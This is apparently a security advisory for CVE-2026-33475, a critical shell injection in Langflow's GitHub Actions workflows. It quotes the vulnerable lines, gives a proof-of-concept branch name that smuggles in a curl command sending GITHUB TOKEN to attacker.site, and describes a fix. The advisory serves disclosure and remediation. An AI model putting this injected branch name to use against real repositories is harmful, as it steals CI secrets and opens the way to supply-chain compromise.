PT-2026-27428 · Langflow Ai · Langflow
Affected Files (Langflow
Published
2026-03-24
·
Updated
2026-03-24
·
CVE-2026-33475
CVSS v3.1
9.1
Critical
| AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g.,
${{ github.head ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.Details
Several workflows in
.github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:run: |
validate branch name "${{ github.event.pull request.head.ref }}"
Or:
run: npx playwright install ${{ inputs.browsers }} --with-deps
Since
github.head ref, github.event.pull request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.PoC
- Fork the Langflow repository
- Create a new branch with the name:
injection-test && curl https://attacker.site/exfil?token=$GITHUB TOKEN
- Open a Pull Request to the main branch from the new branch
- GitHub Actions will run the affected workflow (e.g.,
deploy-docs-draft.yml) - The
run:step containing:
echo "Branch: ${{ github.head ref }}"
Will execute:
echo "Branch: injection-test"
curl https://attacker.site/exfil?token=$GITHUB TOKEN
- The attacker receives the CI secret via the exfil URL.
Impact
- Type: Shell Injection / Remote Code Execution in CI
- Scope: Any public Langflow fork with GitHub Actions enabled
- Impact: Full access to CI secrets (e.g.,
GITHUB TOKEN), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data
Suggested Fix
Refactor affected workflows to use environment variables and wrap them in double quotes:
env:
BRANCH NAME: ${{ github.head ref }}
run: |
echo "Branch is: "$BRANCH NAME""
Avoid direct
${{ ... }} interpolation inside run: for any user-controlled value.Affected Files (Langflow 1.3.4)
.github/actions/install-playwright/action.yml.github/workflows/deploy-docs-draft.yml.github/workflows/docker-build.yml.github/workflows/release nightly.yml.github/workflows/python test.yml.github/workflows/typescript test.yml
Fix
Special Elements Injection
OS Command Injection
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Langflow